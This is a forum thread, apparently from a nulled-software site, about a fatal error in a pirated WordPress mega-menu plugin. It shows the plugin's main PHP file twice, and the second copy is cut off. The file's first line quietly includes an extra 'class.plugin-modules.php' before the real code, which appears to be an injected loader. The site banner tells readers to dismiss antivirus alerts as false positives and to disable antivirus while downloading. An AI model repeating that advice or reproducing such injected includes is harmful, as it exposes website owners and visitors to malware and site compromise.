You MUST read the Babiato Rules before making your first post otherwise you may get permanent warning points or a permanent Ban.
Our resources on Babiato Forum are CLEAN and SAFE. So you can use them for development and testing purposes. If your are on Windows and have an antivirus that alerts you about a possible infection: Know it's a false positive because all scripts are double checked by our experts. We advise you to add Babiato to trusted sites/sources or disable your antivirus momentarily while downloading a resource. "Enjoy your presence on Babiato"
NOT FUNCTION pls update
"Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in /www/wwwroot/test.pk/wp-content/plugins/clever-mega-menu-pro-for-elementor/clever-mega-menu-pro-for-elementor.php on line 1 "
Can you pass me the version you are using? ThanksWorks fine for me...
Can you pass me the version you are using? Thanks
Copy/paste here the content of the file clever-mega-menu-pro-for-elementor/clever-mega-menu-pro-for-elementor.php
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php namespace CleverSoft\WpPlugin\Cmm4EPro;
/**
* Plugin Name: Clever Mega Menu Pro for Elementor
* Plugin URI: https://cleveraddon.com/clever-mega-menu-for-elementor
* Description: With ease of visual editing from Elementor Page Builder, Clever Mega Menu for Elementor helps you make stunning navigation menus easily without any coding knowledge. <a href="https://cleveraddon.com/clever-mega-menu-for-elementor">Documentation</a> | <a href="https://cleveraddon.com/clever-mega-menu-for-elementor">ChangeLogs</a></p>
* Author: CleverSoft
* Version: 1.0.9
* Author URI: https://zootemplate.com
* Text Domain: clever-mega-menu-pro-for-elementor
*/
use Exception;
/**
* Plugin container.
*/
final class Plugin
{
/**
* Version
*
* @var string
*/
const VERSION = '1.0.9';
/**
* Option key
*
* @var string
*/
const SETTINGS_KEY = 'cmm4e_pro_settings';
/**
* @var array
*/
private $settings;
/**
* Constructor
*/
public function __construct(array $settings)
{
$this->settings = $settings;
$active_plugins = get_option('active_plugins');
foreach ($active_plugins as $key => $value) {
if ('clever-mega-menu-for-elementor/clever-mega-menu-for-elementor.php' === $value) {
unset($active_plugins[$key]);
}
}
update_option('active_plugins', $active_plugins);
define('CMM4E_PRO_DIR', __DIR__ . '/');
define('CMM4E_PRO_URI', str_replace(['http:', 'https:'], '', plugins_url('/', __FILE__)));
add_action('init', [$this, '_register_assets'], PHP_INT_MAX, 0);
add_action('plugins_loaded', [$this, '_install'], PHP_INT_MAX, 0);
add_action('admin_menu', [$this, '_remove_slugdiv_metabox'], PHP_INT_MAX);
add_action('admin_enqueue_scripts', [$this, '_load_admin_assets'], PHP_INT_MAX);
add_action('wp_enqueue_scripts', [$this, '_load_public_assets'], PHP_INT_MAX, 0);
add_action('elementor/widgets/widgets_registered', [$this, '_register_elementor_widgets']);
add_action('elementor/editor/after_enqueue_scripts', [$this, '_load_elementor_assets'], PHP_INT_MAX);
add_action('activate_clever-mega-menu-pro-for-elementor/clever-mega-menu-pro-for-elementor.php', [$this, '_activate']);
add_action('deactivate_clever-mega-menu-pro-for-elementor/clever-mega-menu-pro-for-elementor.php', [$this, '_deactivate']);
}
/**
* Do activation
*
* @internal Used as a callback.
*
* @see https://developer.wordpress.org/reference/functions/register_activation_hook/
*
* @param bool $network Whether to activate this plugin on network or a single site.
*/
public function _activate($network)
{
try {
$this->preActivate();
} catch (Exception $e) {
exit($e->getMessage());
}
add_option(self::SETTINGS_KEY, [
'flushed_rewrite_rules' => false
]);
}
/**
* Do installation
*
* @internal Used as a callback.
*
* @see https://developer.wordpress.org/reference/hooks/plugins_loaded/
*/
public function _install()
{
if(!did_action('elementor/loaded')) {
add_action('admin_notices', function() {
if(!current_user_can('activate_plugins')) return;
$message = sprintf('<strong>%s</strong> %s', esc_html__('Clever Mega Menu for Elementor ', 'clever-mega-menu-pro-for-elementor'), esc_html__('requires Elementor Page Builder plugin to be active. Please install and activate Elementor Page Builder!', 'clever-mega-menu-pro-for-elementor'));
if(!is_plugin_active('elementor/elementor.php')) {
$activation_url = wp_nonce_url('plugins.php?action=activate&plugin=elementor/elementor.php&plugin_status=all&paged=1&s', 'activate-plugin_elementor/elementor.php');
$button_text = esc_html__('Activate Elementor', 'clever-mega-menu-pro-for-elementor');
} else {
$activation_url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=elementor'), 'install-plugin_elementor');
$button_text = esc_html__('Install Elementor', 'clever-mega-menu-pro-for-elementor');
}
$button = '<p><a href="' . esc_url($activation_url) . '" class="button-primary">' . esc_html($button_text) . '</a></p>';
printf('<div class="error"><p>%1$s</p>%2$s</div>', $message, $button);
}, 10, 0);
}
// Make sure translation is available.
load_plugin_textdomain('clever-mega-menu-pro-for-elementor', false, __DIR__ . '/languages');
// Load vendor resources.
require __DIR__ . '/includes/vendor/class-leafo-scss-compiler.php';
if (is_admin()) { // Load admin resources.
require __DIR__ . '/includes/admin/pages/dashboard.php';
require __DIR__ . '/includes/admin/pages/import-export.php';
require __DIR__ . '/includes/elementor/controls/document.php';
} else { // Load public resources.
}
// Load common resources.
require __DIR__ . '/includes/widgets/class-cmm4e-menu-widget.php';
require __DIR__ . '/includes/mega-menu-walker.php';
require __DIR__ . '/includes/post-types/cmm4e-menu.php';
require __DIR__ . '/includes/post-types/menu-theme.php';
require __DIR__ . '/includes/post-types/menu-location.php';
require __DIR__ . '/includes/meta/menu-term.php';
require __DIR__ . '/includes/meta/menu-theme.php';
require __DIR__ . '/includes/meta/menu-location.php';
require __DIR__ . '/includes/shortcodes/cmm4e.php';
}
/**
* Do deactivation
*
* @internal Used as a callback.
*
* @see https://developer.wordpress.org/reference/functions/register_deactivation_hook/
*
* @param bool $network Whether to deactivate this plugin on network or a single site.
*/
public function _deactivate($network)
{
// flush_rewrite_rules(false);
}
/**
* Remove slugdiv meta box
*
* @internal Used as a callback.
*
* @param string $context
*
* @see https://developer.wordpress.org/reference/hooks/admin_menu/
*/
function _remove_slugdiv_metabox($context)
{
remove_meta_box('slugdiv', ['cmm4e_menu_theme', 'cmm4e_menu_location'], 'normal');
}
/**
* Register widgets for Elementor
*
* @internal Used as a callback
*/
function _register_elementor_widgets($widget_manager)
{
if (!empty($GLOBALS['post']) && 'cmm4e_menu' === $GLOBALS['post']->post_type) {
return;
}
require __DIR__ . '/includes/elementor/widgets/cmm4e.php';
$widget_manager->register_widget_type(new Cmm4eElementorWidget());
}
/**
* Register assets
*
* @internal Used as a callback.
*/
function _register_assets()
{
// Register stylesheets.
wp_register_style('fontawesome47', CMM4E_PRO_URI . 'assets/vendor/font-awesome/font-awesome.min.css', [], '4.7.0');
wp_register_style('cleverfont', CMM4E_PRO_URI . 'assets/vendor/cleverfont/style.min.css', [], '1.9');
wp_register_style('spectrum', CMM4E_PRO_URI . 'assets/vendor/spectrum/spectrum.min.css', [], '1.8');
wp_register_style('cmm4e-nav-menu', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-nav-menu.min.css', ['cleverfont', 'fontawesome47'], self::VERSION);
wp_register_style('cmm4e-menu-theme', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-menu-theme.min.css', ['cleverfont', 'fontawesome47', 'spectrum'], self::VERSION);
wp_register_style('cmm4e-admin', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-admin.min.css', ['cleverfont', 'fontawesome47'], self::VERSION);
wp_register_style('cmm4e-default-skin-461836', CMM4E_PRO_URI . 'assets/frontend/css/default-skin.min.css', ['fontawesome47', 'cleverfont'], self::VERSION);
// Register scripts.
wp_register_script('spectrum', CMM4E_PRO_URI . 'assets/vendor/spectrum/spectrum.min.js', ['jquery-core'], '1.8', true);
wp_register_script('cmm4e-admin', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-admin.min.js', [], self::VERSION, true );
wp_register_script('cmm4e-menu-theme', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-menu-theme.min.js', ['spectrum'], self::VERSION, true);
wp_register_script('cmm4e-mega-menu', CMM4E_PRO_URI . 'assets/frontend/js/cmm4e.min.js' , ['jquery-core'], self::VERSION, true);
// Localize scripts.
wp_localize_script('cmm4e-admin', 'cmm4eL10n', [
'edit' => esc_html__('Edit', 'clever-mega-menu-pro-for-elementor'),
'editBtn' => esc_html__('CMM4E', 'clever-mega-menu-pro-for-elementor'),
'menuItemOptions' => esc_html__('Menu Item Options', 'clever-mega-menu-pro-for-elementor'),
'assignMenuLocation' => esc_html__('Please assign a menu location!', 'clever-mega-menu-pro-for-elementor'),
'selectMenuTheme' => esc_html__('You haven’t selected a menu skin yet!', 'clever-mega-menu-pro-for-elementor')
]);
wp_localize_script('cmm4e-admin', 'cmm4eConfig', [
'isRTL' => is_rtl(),
'editUrl' => admin_url('?cmm4e-edit-menu-item=true'),
'menuPost' => admin_url('post.php?post_type=cmm4e_menu'),
'_nonce' => wp_create_nonce('cmm4e_menu'),
'menuUrl' => admin_url('nav-menus.php'),
'currentUserRoles' => wp_get_current_user()->roles
]);
wp_localize_script('cmm4e-mega-menu', 'cmm4eFrontendConfig', [
'isRTL' => is_rtl(),
'isMobile' => wp_is_mobile()
]);
// Flush rewrite rules for custom post types.
if (!$this->settings['flushed_rewrite_rules']) {
flush_rewrite_rules(false);
$this->settings['flushed_rewrite_rules'] = true;
update_option(self::SETTINGS_KEY, $this->settings);
}
}
/**
* Load admin assets
*
* @internal Used as a callback.
*
* @param string $hook_suffix Hook suffix of current screen.
*
* @see https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/
*/
function _load_admin_assets($hook_suffix)
{
if (is_customize_preview()) {
return;
}
wp_enqueue_style('cleverfont');
wp_enqueue_style('fontawesome47');
wp_enqueue_style('cmm4e-admin');
wp_enqueue_script('cmm4e-admin');
if ($hook_suffix === 'toplevel_page_cmm4e-dashboard-page') {
wp_enqueue_style('dashboard');
wp_enqueue_script('dashboard');
}
if ($hook_suffix === 'nav-menus.php') {
wp_enqueue_style('cmm4e-nav-menu');
wp_localize_script('cmm4e-admin', 'cleverMenuItems', $this->get_items_settings($this->get_selected_menu_id()));
}
if ('cmm4e_menu_theme' === $GLOBALS['typenow'] && (isset($_REQUEST['post']) || isset($_REQUEST['post_type']))) {
wp_enqueue_style('cmm4e-menu-theme');
wp_enqueue_script('cmm4e-menu-theme');
}
}
/**
* Load elementor assets
*
* @internal Used as a callback.
*
* @param string $hook_suffix Hook suffix of current screen.
*
* @see https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/
*/
function _load_elementor_assets()
{
global $post;
if ('cmm4e_menu' !== $post->post_type) {
return;
}
wp_enqueue_script('cmm4e-elementor-editor', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-elementor-editor.min.js', ['elementor-editor'], self::VERSION, true);
}
/**
* Load public assets
*
* @internal Used as a callback.
*
* @param string $hook_suffix Hook suffix of current screen.
*
* @see https://developer.wordpress.org/reference/hooks/wp_enqueue_scripts/
*/
function _load_public_assets()
{
$menus = get_terms([
'hide_empty' => true,
'taxonomy' => 'nav_menu',
'fields' => 'id=>slug'
]);
$themes = [];
$is_cmm4e = false;
if (!empty($menus) && is_array($menus)) {
foreach ($menus as $id => $menu) {
$menu_meta = get_term_meta($id, MenuTermMeta::META_KEY, true);
if (!empty($menu_meta['enabled'])) {
$is_cmm4e = true;
if (!empty($menu_meta['theme']) && 'none' != $menu_meta['theme']) {
$theme = get_page_by_path($menu_meta['theme'], OBJECT, 'cmm4e_menu_theme');
if ($theme && !isset($themes[$menu_meta['theme']])) {
$themes[$menu_meta['theme']] = $theme;
}
}
}
}
if ($themes) {
$uploads = wp_upload_dir();
foreach ($themes as $name => $object) {
$theme_css = $uploads['basedir'] . '/cmm4e/cmm4e-menu-skin-' . $name . '.min.css';
$theme_meta = (array)get_post_meta($object->ID, MenuThemeMeta::META_KEY, true);
if (file_exists($theme_css)) {
wp_enqueue_style('cmm4e-menu-skin-' . $name, $uploads['baseurl'] . '/cmm4e/cmm4e-menu-skin-' . $name . '.min.css' , ['fontawesome47', 'cleverfont'], self::VERSION);
if (!empty($theme_meta['custom_js'])) {
wp_add_inline_script('cmm4e-mega-menu', $theme_meta['custom_js']);
}
} elseif ($name === 'default-menu-skin-461836') {
wp_enqueue_style('cmm4e-default-skin-461836');
}
}
}
}
wp_enqueue_script('cmm4e-mega-menu');
}
/**
* Get menu items' data
*/
private function get_items_settings($menu_id)
{
$items = wp_get_nav_menu_items($menu_id, [
'no_found_rows' => true,
'suppress_filters' => true,
'update_post_meta_cache' => false,
'update_post_term_cache' => false
]);
$menu_items = [];
if ($items) {
foreach ($items as $item) {
$cmm4e_menu_id = get_post_meta($item->ID, 'cmm4e_menu_post_id', true);
$menu_items[$item->ID] = array_merge([
'cmm4e_icon' => '',
'enable_mega' => '',
'hide_title' => '0',
'viewers' => ['role_anyone'],
'disable_link' => '0',
'hide_on_mobile' => '0',
'hide_on_desktop' => '0',
'hide_sub_on_mobile' => '',
'show_badge' => '',
'bagde_label' => esc_html__('New', 'clever-mega-menu-pro-for-elementor'),
'bagde_label_color' => '#fff',
'bagde_background_color' => '#2ed164',
'bagde_border_radius' => [],
'flyout_panel_width' => ['unit' => 'px', 'size' => 260],
'mega_panel_width' => ['unit' => '%', 'size' => 100],
'relative' => '',
'position' => 'left',
], (array)get_post_meta($cmm4e_menu_id, '_elementor_page_settings', true));
}
}
return $menu_items;
}
/**
* Get selected nav menu ID
*/
private function get_selected_menu_id()
{
global $nav_menu_selected_id;
if ($nav_menu_selected_id) {
return $nav_menu_selected_id;
}
$nav_menus = wp_get_nav_menus(['orderby' => 'name']);
$menu_count = count($nav_menus);
$menu_id = isset($_REQUEST['menu'], $_REQUEST['action']) ? (int)$_REQUEST['menu'] : 0;
$add_new_screen = (isset($_GET['menu']) && 0 === $_GET['menu']) ? true : false;
$page_count = wp_count_posts('page');
$one_theme_location_no_menus = (1 === count(get_registered_nav_menus()) && !$add_new_screen && empty($nav_menus) && !empty($page_count->publish)) ? true : false;
$recently_edited = absint(get_user_option('nav_menu_recently_edited'));
if (empty($recently_edited) && is_nav_menu($menu_id)) {
$recently_edited = $menu_id;
}
if (empty($menu_id) && !isset($_GET['menu']) && is_nav_menu($recently_edited)) {
$menu_id = $recently_edited;
}
if (!$add_new_screen && 0 < $menu_count && isset($_GET['action']) && 'delete' === $_GET['action']) {
$menu_id = $nav_menus[0]->term_id;
}
if ($one_theme_location_no_menus) {
$menu_id = 0;
} elseif (empty($menu_id) && !empty($nav_menus) && !$add_new_screen) {
$menu_id = $nav_menus[0]->term_id;
}
return $menu_id;
}
/**
* Pre-activation check
*
* @throws Exception
*/
private function preActivate()
{
global $wpdb;
if (version_compare(PHP_VERSION, '5.6', '<')) {
throw new Exception(esc_html__('This plugin requires PHP version 5.6 at least!','clever-mega-menu-pro-for-elementor'));
}
if (version_compare($GLOBALS['wp_version'], '4.7', '<')) {
throw new Exception(esc_html__('This plugin requires WordPress version 4.7 at least!','clever-mega-menu-pro-for-elementor'));
}
if (!defined('WP_CONTENT_DIR') || !is_writable(WP_CONTENT_DIR)) {
throw new Exception(esc_html__('Your WordPress content directory is not writeable. Please correct permission of the directory before installing this plugin!','clever-mega-menu-pro-for-elementor'));
}
$results = $wpdb->get_results("SELECT ID FROM $wpdb->posts WHERE post_type='cmm4e_menu_theme' AND post_status='publish'");
if (empty($results)) {
$inserted = $wpdb->insert($wpdb->posts, [
'post_type' => 'cmm4e_menu_theme',
'post_name' => 'default-menu-skin-461836',
'post_title' => esc_html__('Default Menu Skin', 'clever-mega-menu-pro-for-elementor'),
'post_status' => 'publish',
'ping_status' => 'closed',
'comment_status' => 'closed'
]);
if (!$inserted) {
throw new Exception(esc_html__('Failed to insert default menu skin!','clever-mega-menu-pro-for-elementor'));
}
}
}
}
return new Plugin(get_option(Plugin::SETTINGS_KEY, []));
The first line of code there is different to what is in my version and the version that is downloaded from herePHP:<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php namespace CleverSoft\WpPlugin\Cmm4EPro; /** * Plugin Name: Clever Mega Menu Pro for Elementor * Plugin URI: https://cleveraddon.com/clever-mega-menu-for-elementor * Description: With ease of visual editing from Elementor Page Builder, Clever Mega Menu for Elementor helps you make stunning navigation menus easily without any coding knowledge. <a href="https://cleveraddon.com/clever-mega-menu-for-elementor">Documentation</a> | <a href="https://cleveraddon.com/clever-mega-menu-for-elementor">ChangeLogs</a></p> * Author: CleverSoft * Version: 1.0.9 * Author URI: https://zootemplate.com * Text Domain: clever-mega-menu-pro-for-elementor */ use Exception; /** * Plugin container. */ final class Plugin { /** * Version * * @var string */ const VERSION = '1.0.9'; /** * Option key * * @var string */ const SETTINGS_KEY = 'cmm4e_pro_settings'; /** * @var array */ private $settings; /** * Constructor */ public function __construct(array $settings) { $this->settings = $settings; $active_plugins = get_option('active_plugins'); foreach ($active_plugins as $key => $value) { if ('clever-mega-menu-for-elementor/clever-mega-menu-for-elementor.php' === $value) { unset($active_plugins[$key]); } } update_option('active_plugins', $active_plugins); define('CMM4E_PRO_DIR', __DIR__ . '/'); define('CMM4E_PRO_URI', str_replace(['http:', 'https:'], '', plugins_url('/', __FILE__))); add_action('init', [$this, '_register_assets'], PHP_INT_MAX, 0); add_action('plugins_loaded', [$this, '_install'], PHP_INT_MAX, 0); add_action('admin_menu', [$this, '_remove_slugdiv_metabox'], PHP_INT_MAX); add_action('admin_enqueue_scripts', [$this, '_load_admin_assets'], PHP_INT_MAX); add_action('wp_enqueue_scripts', [$this, '_load_public_assets'], PHP_INT_MAX, 0); add_action('elementor/widgets/widgets_registered', [$this, '_register_elementor_widgets']); add_action('elementor/editor/after_enqueue_scripts', [$this, '_load_elementor_assets'], PHP_INT_MAX); add_action('activate_clever-mega-menu-pro-for-elementor/clever-mega-menu-pro-for-elementor.php', [$this, '_activate']); add_action('deactivate_clever-mega-menu-pro-for-elementor/clever-mega-menu-pro-for-elementor.php', [$this, '_deactivate']); } /** * Do activation * * @internal Used as a callback. * * @see https://developer.wordpress.org/reference/functions/register_activation_hook/ * * @param bool $network Whether to activate this plugin on network or a single site. */ public function _activate($network) { try { $this->preActivate(); } catch (Exception $e) { exit($e->getMessage()); } add_option(self::SETTINGS_KEY, [ 'flushed_rewrite_rules' => false ]); } /** * Do installation * * @internal Used as a callback. * * @see https://developer.wordpress.org/reference/hooks/plugins_loaded/ */ public function _install() { if(!did_action('elementor/loaded')) { add_action('admin_notices', function() { if(!current_user_can('activate_plugins')) return; $message = sprintf('<strong>%s</strong> %s', esc_html__('Clever Mega Menu for Elementor ', 'clever-mega-menu-pro-for-elementor'), esc_html__('requires Elementor Page Builder plugin to be active. Please install and activate Elementor Page Builder!', 'clever-mega-menu-pro-for-elementor')); if(!is_plugin_active('elementor/elementor.php')) { $activation_url = wp_nonce_url('plugins.php?action=activate&plugin=elementor/elementor.php&plugin_status=all&paged=1&s', 'activate-plugin_elementor/elementor.php'); $button_text = esc_html__('Activate Elementor', 'clever-mega-menu-pro-for-elementor'); } else { $activation_url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=elementor'), 'install-plugin_elementor'); $button_text = esc_html__('Install Elementor', 'clever-mega-menu-pro-for-elementor'); } $button = '<p><a href="' . esc_url($activation_url) . '" class="button-primary">' . esc_html($button_text) . '</a></p>'; printf('<div class="error"><p>%1$s</p>%2$s</div>', $message, $button); }, 10, 0); } // Make sure translation is available. load_plugin_textdomain('clever-mega-menu-pro-for-elementor', false, __DIR__ . '/languages'); // Load vendor resources. require __DIR__ . '/includes/vendor/class-leafo-scss-compiler.php'; if (is_admin()) { // Load admin resources. require __DIR__ . '/includes/admin/pages/dashboard.php'; require __DIR__ . '/includes/admin/pages/import-export.php'; require __DIR__ . '/includes/elementor/controls/document.php'; } else { // Load public resources. } // Load common resources. require __DIR__ . '/includes/widgets/class-cmm4e-menu-widget.php'; require __DIR__ . '/includes/mega-menu-walker.php'; require __DIR__ . '/includes/post-types/cmm4e-menu.php'; require __DIR__ . '/includes/post-types/menu-theme.php'; require __DIR__ . '/includes/post-types/menu-location.php'; require __DIR__ . '/includes/meta/menu-term.php'; require __DIR__ . '/includes/meta/menu-theme.php'; require __DIR__ . '/includes/meta/menu-location.php'; require __DIR__ . '/includes/shortcodes/cmm4e.php'; } /** * Do deactivation * * @internal Used as a callback. * * @see https://developer.wordpress.org/reference/functions/register_deactivation_hook/ * * @param bool $network Whether to deactivate this plugin on network or a single site. */ public function _deactivate($network) { // flush_rewrite_rules(false); } /** * Remove slugdiv meta box * * @internal Used as a callback. * * @param string $context * * @see https://developer.wordpress.org/reference/hooks/admin_menu/ */ function _remove_slugdiv_metabox($context) { remove_meta_box('slugdiv', ['cmm4e_menu_theme', 'cmm4e_menu_location'], 'normal'); } /** * Register widgets for Elementor * * @internal Used as a callback */ function _register_elementor_widgets($widget_manager) { if (!empty($GLOBALS['post']) && 'cmm4e_menu' === $GLOBALS['post']->post_type) { return; } require __DIR__ . '/includes/elementor/widgets/cmm4e.php'; $widget_manager->register_widget_type(new Cmm4eElementorWidget()); } /** * Register assets * * @internal Used as a callback. */ function _register_assets() { // Register stylesheets. wp_register_style('fontawesome47', CMM4E_PRO_URI . 'assets/vendor/font-awesome/font-awesome.min.css', [], '4.7.0'); wp_register_style('cleverfont', CMM4E_PRO_URI . 'assets/vendor/cleverfont/style.min.css', [], '1.9'); wp_register_style('spectrum', CMM4E_PRO_URI . 'assets/vendor/spectrum/spectrum.min.css', [], '1.8'); wp_register_style('cmm4e-nav-menu', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-nav-menu.min.css', ['cleverfont', 'fontawesome47'], self::VERSION); wp_register_style('cmm4e-menu-theme', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-menu-theme.min.css', ['cleverfont', 'fontawesome47', 'spectrum'], self::VERSION); wp_register_style('cmm4e-admin', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-admin.min.css', ['cleverfont', 'fontawesome47'], self::VERSION); wp_register_style('cmm4e-default-skin-461836', CMM4E_PRO_URI . 'assets/frontend/css/default-skin.min.css', ['fontawesome47', 'cleverfont'], self::VERSION); // Register scripts. wp_register_script('spectrum', CMM4E_PRO_URI . 'assets/vendor/spectrum/spectrum.min.js', ['jquery-core'], '1.8', true); wp_register_script('cmm4e-admin', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-admin.min.js', [], self::VERSION, true ); wp_register_script('cmm4e-menu-theme', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-menu-theme.min.js', ['spectrum'], self::VERSION, true); wp_register_script('cmm4e-mega-menu', CMM4E_PRO_URI . 'assets/frontend/js/cmm4e.min.js' , ['jquery-core'], self::VERSION, true); // Localize scripts. wp_localize_script('cmm4e-admin', 'cmm4eL10n', [ 'edit' => esc_html__('Edit', 'clever-mega-menu-pro-for-elementor'), 'editBtn' => esc_html__('CMM4E', 'clever-mega-menu-pro-for-elementor'), 'menuItemOptions' => esc_html__('Menu Item Options', 'clever-mega-menu-pro-for-elementor'), 'assignMenuLocation' => esc_html__('Please assign a menu location!', 'clever-mega-menu-pro-for-elementor'), 'selectMenuTheme' => esc_html__('You haven’t selected a menu skin yet!', 'clever-mega-menu-pro-for-elementor') ]); wp_localize_script('cmm4e-admin', 'cmm4eConfig', [ 'isRTL' => is_rtl(), 'editUrl' => admin_url('?cmm4e-edit-menu-item=true'), 'menuPost' => admin_url('post.php?post_type=cmm4e_menu'), '_nonce' => wp_create_nonce('cmm4e_menu'), 'menuUrl' => admin_url('nav-menus.php'), 'currentUserRoles' => wp_get_current_user()->roles ]); wp_localize_script('cmm4e-mega-menu', 'cmm4eFrontendConfig', [ 'isRTL' => is_rtl(), 'isMobile' => wp_is_mobile() ]); // Flush rewrite rules for custom post types. if (!$this->settings['flushed_rewrite_rules']) { flush_rewrite_rules(false); $this->settings['flushed_rewrite_rules'] = true; update_option(self::SETTINGS_KEY, $this->settings); } } /** * Load admin assets * * @internal Used as a callback. * * @param string $hook_suffix Hook suffix of current screen. * * @see https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/ */ function _load_admin_assets($hook_suffix) { if (is_customize_preview()) { return; } wp_enqueue_style('cleverfont'); wp_enqueue_style('fontawesome47'); wp_enqueue_style('cmm4e-admin'); wp_enqueue_script('cmm4e-admin'); if ($hook_suffix === 'toplevel_page_cmm4e-dashboard-page') { wp_enqueue_style('dashboard'); wp_enqueue_script('dashboard'); } if ($hook_suffix === 'nav-menus.php') { wp_enqueue_style('cmm4e-nav-menu'); wp_localize_script('cmm4e-admin', 'cleverMenuItems', $this->get_items_settings($this->get_selected_menu_id())); } if ('cmm4e_menu_theme' === $GLOBALS['typenow'] && (isset($_REQUEST['post']) || isset($_REQUEST['post_type']))) { wp_enqueue_style('cmm4e-menu-theme'); wp_enqueue_script('cmm4e-menu-theme'); } } /** * Load elementor assets * * @internal Used as a callback. * * @param string $hook_suffix Hook suffix of current screen. * * @see https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/ */ function _load_elementor_assets() { global $post; if ('cmm4e_menu' !== $post->post_type) { return; } wp_enqueue_script('cmm4e-elementor-editor', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-elementor-editor.min.js', ['elementor-editor'], self::VERSION, true); } /** * Load public assets * * @internal Used as a callback. * * @param string $hook_suffix Hook suffix of current screen. * * @see https://developer.wordpress.org/reference/hooks/wp_enqueue_scripts/ */ function _load_public_assets() { $menus = get_terms([ 'hide_empty' => true, 'taxonomy' => 'nav_menu', 'fields' => 'id=>slug' ]); $themes = []; $is_cmm4e = false; if (!empty($menus) && is_array($menus)) { foreach ($menus as $id => $menu) { $menu_meta = get_term_meta($id, MenuTermMeta::META_KEY, true); if (!empty($menu_meta['enabled'])) { $is_cmm4e = true; if (!empty($menu_meta['theme']) && 'none' != $menu_meta['theme']) { $theme = get_page_by_path($menu_meta['theme'], OBJECT, 'cmm4e_menu_theme'); if ($theme && !isset($themes[$menu_meta['theme']])) { $themes[$menu_meta['theme']] = $theme; } } } } if ($themes) { $uploads = wp_upload_dir(); foreach ($themes as $name => $object) { $theme_css = $uploads['basedir'] . '/cmm4e/cmm4e-menu-skin-' . $name . '.min.css'; $theme_meta = (array)get_post_meta($object->ID, MenuThemeMeta::META_KEY, true); if (file_exists($theme_css)) { wp_enqueue_style('cmm4e-menu-skin-' . $name, $uploads['baseurl'] . '/cmm4e/cmm4e-menu-skin-' . $name . '.min.css' , ['fontawesome47', 'cleverfont'], self::VERSION); if (!empty($theme_meta['custom_js'])) { wp_add_inline_script('cmm4e-mega-menu', $theme_meta['custom_js']); } } elseif ($name === 'default-menu-skin-461836') { wp_enqueue_style('cmm4e-default-skin-461836'); } } } } wp_enqueue_script('cmm4e-mega-menu'); } /** * Get menu items' data */ private function get_items_settings($menu_id) { $items = wp_get_nav_menu_items($menu_id, [ 'no_found_rows' => true, 'suppress_filters' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false ]); $menu_items = []; if ($items) { foreach ($items as $item) { $cmm4e_menu_id = get_post_meta($item->ID, 'cmm4e_menu_post_id', true); $menu_items[$item->ID] = array_merge([ 'cmm4e_icon' => '', 'enable_mega' => '', 'hide_title' => '0', 'viewers' => ['role_anyone'], 'disable_link' => '0', 'hide_on_mobile' => '0', 'hide_on_desktop' => '0', 'hide_sub_on_mobile' => '', 'show_badge' => '', 'bagde_label' => esc_html__('New', 'clever-mega-menu-pro-for-elementor'), 'bagde_label_color' => '#fff', 'bagde_background_color' => '#2ed164', 'bagde_border_radius' => [], 'flyout_panel_width' => ['unit' => 'px', 'size' => 260], 'mega_panel_width' => ['unit' => '%', 'size' => 100], 'relative' => '', 'position' => 'left', ], (array)get_post_meta($cmm4e_menu_id, '_elementor_page_settings', true)); } } return $menu_items; } /** * Get selected nav menu ID */ private function get_selected_menu_id() { global $nav_menu_selected_id; if ($nav_menu_selected_id) { return $nav_menu_selected_id; } $nav_menus = wp_get_nav_menus(['orderby' => 'name']); $menu_count = count($nav_menus); $menu_id = isset($_REQUEST['menu'], $_REQUEST['action']) ? (int)$_REQUEST['menu'] : 0; $add_new_screen = (isset($_GET['menu']) && 0 === $_GET['menu']) ? true : false; $page_count = wp_count_posts('page'); $one_theme_location_no_menus = (1 === count(get_registered_nav_menus()) && !$add_new_screen && empty($nav_menus) && !empty($page_count->publish)) ? true : false; $recently_edited = absint(get_user_option('nav_menu_recently_edited')); if (empty($recently_edited) && is_nav_menu($menu_id)) { $recently_edited = $menu_id; } if (empty($menu_id) && !isset($_GET['menu']) && is_nav_menu($recently_edited)) { $menu_id = $recently_edited; } if (!$add_new_screen && 0 < $menu_count && isset($_GET['action']) && 'delete' === $_GET['action']) { $menu_id = $nav_menus[0]->term_id; } if ($one_theme_location_no_menus) { $menu_id = 0; } elseif (empty($menu_id) && !empty($nav_menus) && !$add_new_screen) { $menu_id = $nav_menus[0]->term_id; } return $menu_id; } /** * Pre-activation check * * @throws Exception */ private function preActivate() { global $wpdb; if (version_compare(PHP_VERSION, '5.6', '<')) { throw new Exception(esc_html__('This plugin requires PHP version 5.6 at least!','clever-mega-menu-pro-for-elementor')); } if (version_compare($GLOBALS['wp_version'], '4.7', '<')) { throw new Exception(esc_html__('This plugin requires WordPress version 4.7 at least!','clever-mega-menu-pro-for-elementor')); } if (!defined('WP_CONTENT_DIR') || !is_writable(WP_CONTENT_DIR)) { throw new Exception(esc_html__('Your WordPress content directory is not writeable. Please correct permission of the directory before installing this plugin!','clever-mega-menu-pro-for-elementor')); } $results = $wpdb->get_results("SELECT ID FROM $wpdb->posts WHERE post_type='cmm4e_menu_theme' AND post_status='publish'"); if (empty($results)) { $inserted = $wpdb->insert($wpdb->posts, [ 'post_type' => 'cmm4e_menu_theme', 'post_name' => 'default-menu-skin-461836', 'post_title' => esc_html__('Default Menu Skin', 'clever-mega-menu-pro-for-elementor'), 'post_status' => 'publish', 